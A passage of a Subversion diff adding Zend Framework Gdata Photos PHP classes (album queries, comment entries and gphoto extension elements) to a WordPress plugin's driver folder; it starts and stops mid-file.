+     * Get the value for this element's georss:where attribute.
+     *
+     * @see setGeoRssWhere
+     * @return string The requested attribute.
+     */
+    public function getGeoRssWhere()
+    {
+        return $this->_geoRssWhere;
+    }
+
+    /**
+     * Set the value for this element's georss:where attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Geo_Extension_GeoRssWhere The element being modified.
+     */
+    public function setGeoRssWhere($value)
+    {
+        $this->_geoRssWhere = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:nickname attribute.
+     *
+     * @see setGphotoNickname
+     * @return string The requested attribute.
+     */
+    public function getGphotoNickname()
+    {
+        return $this->_gphotoNickname;
+    }
+
+    /**
+     * Set the value for this element's gphoto:nickname attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Nickname The element being modified.
+     */
+    public function setGphotoNickname($value)
+    {
+        $this->_gphotoNickname = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:timestamp attribute.
+     *
+     * @see setGphotoTimestamp
+     * @return string The requested attribute.
+     */
+    public function getGphotoTimestamp()
+    {
+        return $this->_gphotoTimestamp;
+    }
+
+    /**
+     * Set the value for this element's gphoto:timestamp attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Timestamp The element being modified.
+     */
+    public function setGphotoTimestamp($value)
+    {
+        $this->_gphotoTimestamp = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/AlbumQuery.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/AlbumQuery.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/AlbumQuery.php	(revision 44)
@@ -0,0 +1,148 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Photos_UserQuery
+ */
+require_once('Zend/Gdata/Photos/UserQuery.php');
+
+/**
+ * Assists in constructing album queries for various entries.
+ * Instances of this class can be provided in many places where a URL is
+ * required.
+ *
+ * For information on submitting queries to a server, see the service
+ * class, Zend_Gdata_Photos.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_AlbumQuery extends Zend_Gdata_Photos_UserQuery
+{
+
+    /**
+     * The name of the album to query for. Mutually exclusive with AlbumId.
+     *
+     * @var string
+     */
+    protected $_albumName = null;
+
+    /**
+     * The ID of the album to query for. Mutually exclusive with AlbumName.
+     *
+     * @var string
+     */
+    protected $_albumId = null;
+
+    /**
+     * Set the album name to query for. When set, this album's photographs
+     * be returned. If not set or null, the default user's feed will be
+     * returned instead.
+     *
+     * NOTE: AlbumName and AlbumId are mutually exclusive. Setting one will
+     *       automatically set the other to null.
+     *
+     * @param string $value The name of the album to retrieve, or null to
+     *          clear.
+     * @return Zend_Gdata_Photos_AlbumQuery The query object.
+     */
+     public function setAlbumName($value)
+     {
+         $this->_albumId = null;
+         $this->_albumName = $value;
+         
+         return $this;
+     }
+
+    /**
+     * Get the album name which is to be returned.
+     *
+     * @see setAlbumName
+     * @return string The name of the album to retrieve.
+     */
+    public function getAlbumName()
+    {
+        return $this->_albumName;
+    }
+
+    /**
+     * Set the album ID to query for. When set, this album's photographs
+     * be returned. If not set or null, the default user's feed will be
+     * returned instead.
+     *
+     * NOTE: Album and AlbumId are mutually exclusive. Setting one will
+     *       automatically set the other to null.
+     *
+     * @param string $value The ID of the album to retrieve, or null to
+     *          clear.
+     * @return Zend_Gdata_Photos_AlbumQuery The query object.
+     */
+     public function setAlbumId($value)
+     {
+         $this->_albumName = null;
+         $this->_albumId = $value;
+         
+         return $this;
+     }
+
+    /**
+     * Get the album ID which is to be returned.
+     *
+     * @see setAlbum
+     * @return string The ID of the album to retrieve.
+     */
+    public function getAlbumId()
+    {
+        return $this->_albumId;
+    }
+
+    /**
+     * Returns the URL generated for this query, based on it's current
+     * parameters.
+     *
+     * @return string A URL generated based on the state of this query.
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+    public function getQueryUrl($incomingUri = '')
+    {
+        $uri = '';
+        if ($this->getAlbumName() !== null && $this->getAlbumId() === null) {
+            $uri .= '/album/' . $this->getAlbumName();
+        } elseif ($this->getAlbumName() === null && $this->getAlbumId() !== null) {
+            $uri .= '/albumid/' . $this->getAlbumId();
+        } elseif ($this->getAlbumName() !== null && $this->getAlbumId() !== null) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'AlbumName and AlbumId cannot both be non-null');
+        } else {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'AlbumName and AlbumId cannot both be null');
+        }
+        $uri .= $incomingUri;
+        return parent::getQueryUrl($uri);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/CommentEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/CommentEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/CommentEntry.php	(revision 44)
@@ -0,0 +1,194 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_Id
+ */
+require_once 'Zend/Gdata/Photos/Extension/Id.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_PhotoId
+ */
+require_once 'Zend/Gdata/Photos/Extension/PhotoId.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_Weight
+ */
+require_once 'Zend/Gdata/Photos/Extension/Weight.php';
+
+/**
+ * @see Zend_Gdata_App_Extension_Category
+ */
+require_once 'Zend/Gdata/App/Extension/Category.php';
+
+/**
+ * Data model class for a Comment Entry.
+ *
+ * To transfer user entries to and from the servers, including
+ * creating new entries, refer to the service class,
+ * Zend_Gdata_Photos.
+ *
+ * This class represents <atom:entry> in the Google Data protocol.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_CommentEntry extends Zend_Gdata_Entry
+{
+
+    protected $_entryClassName = 'Zend_Gdata_Photos_CommentEntry';
+
+    /**
+     * gphoto:id element
+     *
+     * @var Zend_Gdata_Photos_Extension_Id
+     */
+    protected $_gphotoId = null;
+
+    /**
+     * gphoto:photoid element, differs from gphoto:id as this is an
+     * actual identification number unique exclusively to photo entries,
+     * whereas gphoto:id can refer to all gphoto objects
+     *
+     * @var Zend_Gdata_Photos_Extension_PhotoId
+     */
+    protected $_gphotoPhotoId = null;
+
+    /**
+     * Create a new instance.
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct($element);
+
+        $category = new Zend_Gdata_App_Extension_Category(
+            'http://schemas.google.com/photos/2007#comment',
+            'http://schemas.google.com/g/2005#kind');
+        $this->setCategory(array($category));
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     *          child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_gphotoId !== null) {
+            $element->appendChild($this->_gphotoId->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoPhotoId !== null) {
+            $element->appendChild($this->_gphotoPhotoId->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them as members of this entry based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('gphoto') . ':' . 'id';
+                $id = new Zend_Gdata_Photos_Extension_Id();
+                $id->transferFromDOM($child);
+                $this->_gphotoId = $id;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'photoid';
+                $photoid = new Zend_Gdata_Photos_Extension_PhotoId();
+                $photoid->transferFromDOM($child);
+                $this->_gphotoPhotoId = $photoid;
+                break;
+            default:
+                parent::takeChildFromDOM($child);
+                break;
+        }
+    }
+
+    /**
+     * Get the value for this element's gphoto:photoid attribute.
+     *
+     * @see setGphotoPhotoId
+     * @return string The requested attribute.
+     */
+    public function getGphotoPhotoId()
+    {
+        return $this->_gphotoPhotoId;
+    }
+
+    /**
+     * Set the value for this element's gphoto:photoid attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_PhotoId The element being modified.
+     */
+    public function setGphotoPhotoId($value)
+    {
+        $this->_gphotoPhotoId = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:id attribute.
+     *
+     * @see setGphotoId
+     * @return string The requested attribute.
+     */
+    public function getGphotoId()
+    {
+        return $this->_gphotoId;
+    }
+
+    /**
+     * Set the value for this element's gphoto:id attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Id The element being modified.
+     */
+    public function setGphotoId($value)
+    {
+        $this->_gphotoId = $value;
+        return $this;
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Access.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Access.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Access.php	(revision 44)
@@ -0,0 +1,62 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * Represents the gphoto:access element used by the API.
+ * This determines the visibility for an album, and can be either
+ * the strings 'private' or 'public'.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_Extension_Access extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gphoto';
+    protected $_rootElement = 'access';
+
+    /**
+     * Constructs a new Zend_Gdata_Photos_Extension_Access object.
+     *
+     * @param string $text (optional) The value to represent.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/AlbumId.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/AlbumId.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/AlbumId.php	(revision 44)
@@ -0,0 +1,62 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * Represents the gphoto:albumid element used by the API. This
+ * class represents the ID of an album and is usually contained
+ * within an instance of Zend_Gdata_Photos_AlbumEntry or CommentEntry.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_Extension_AlbumId extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gphoto';
+    protected $_rootElement = 'albumid';
+
+    /**
+     * Constructs a new Zend_Gdata_Photos_Extension_AlbumId object.
+     *
+     * @param string $text (optional) The value to use for the Album ID.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/BytesUsed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/BytesUsed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/BytesUsed.php	(revision 44)
@@ -0,0 +1,61 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * Represents the gphoto:bytesUsed element used by the API.
+ * This indicates the number of bytes of storage used by an album.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_Extension_BytesUsed extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gphoto';
+    protected $_rootElement = 'bytesUsed';
+
+    /**
+     * Constructs a new Zend_Gdata_Photos_Extension_BytesUsed object.
+     *
+     * @param string $text (optional) The value to represent.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Checksum.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Checksum.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Checksum.php	(revision 44)
@@ -0,0 +1,62 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * Represents the gphoto:checksum element used by the API.
+ * This is an optional field that can be used to store a photo's
+ * checksum to ease duplicate checking.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_Extension_Checksum extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gphoto';
+    protected $_rootElement = 'checksum';
+
+    /**
+     * Constructs a new Zend_Gdata_Photos_Extension_Checksum object.
+     *
+     * @param string $text (optional) The value to represent.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Client.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Client.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Client.php	(revision 44)
@@ -0,0 +1,62 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * Represents the gphoto:client element used by the API.
+ * This is an optional field that can be used to indicate the
+ * client which created a photo.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_Extension_Client extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gphoto';
+    protected $_rootElement = 'client';
+
+    /**
+     * Constructs a new Zend_Gdata_Photos_Extension_Client object.
+     *
+     * @param string $text (optional) The value to represent.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/CommentCount.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/CommentCount.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/CommentCount.php	(revision 44)
@@ -0,0 +1,62 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * Represents the gphoto:commentCount element used by the API. This
+ * class represents the number of comments attached to an entry and is usually contained
+ * within an instance of Zend_Gdata_Photos_PhotoEntry or AlbumEntry.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_Extension_CommentCount extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gphoto';
+    protected $_rootElement = 'commentCount';
+
+    /**
+     * Constructs a new Zend_Gdata_Photos_Extension_CommentCount object.
+     *
+     * @param string $text (optional) The value to use for the count.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/CommentingEnabled.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/CommentingEnabled.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/CommentingEnabled.php	(revision 44)
@@ -0,0 +1,63 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * Represents the gphoto:commentingEnabled element used by the API.
+ * This class represents whether commenting is enabled for a given
+ * entry.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_Extension_CommentingEnabled extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gphoto';
+    protected $_rootElement = 'commentingEnabled';
+
+    /**
+     * Constructs a new Zend_Gdata_Photos_Extension_CommentingEnabled object.
+     *
+     * @param string $text (optional) Whether commenting should be enabled
+     *          or not.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Height.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Height.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Height.php	(revision 44)
@@ -0,0 +1,61 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * Represents the gphoto:height element used by the API.
+ * The height of a photo in pixels.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_Extension_Height extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gphoto';
+    protected $_rootElement = 'height';
+
+    /**
+     * Constructs a new Zend_Gdata_Photos_Extension_Height object.
+     *
+     * @param string $text (optional) The value to represent.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Id.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Id.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Id.php	(revision 44)
@@ -0,0 +1,61 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * Represents the gphoto:id element used by the API. This class
+ * represents the unique ID assigned to an element by the servers.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_Extension_Id extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gphoto';
+    protected $_rootElement = 'id';
+
+    /**
+     * Constructs a new Zend_Gdata_Photos_Extension_Id object.
+     *
+     * @param string $text (optional) The ID being represented.
+     */
+    public function __construct($text = null)
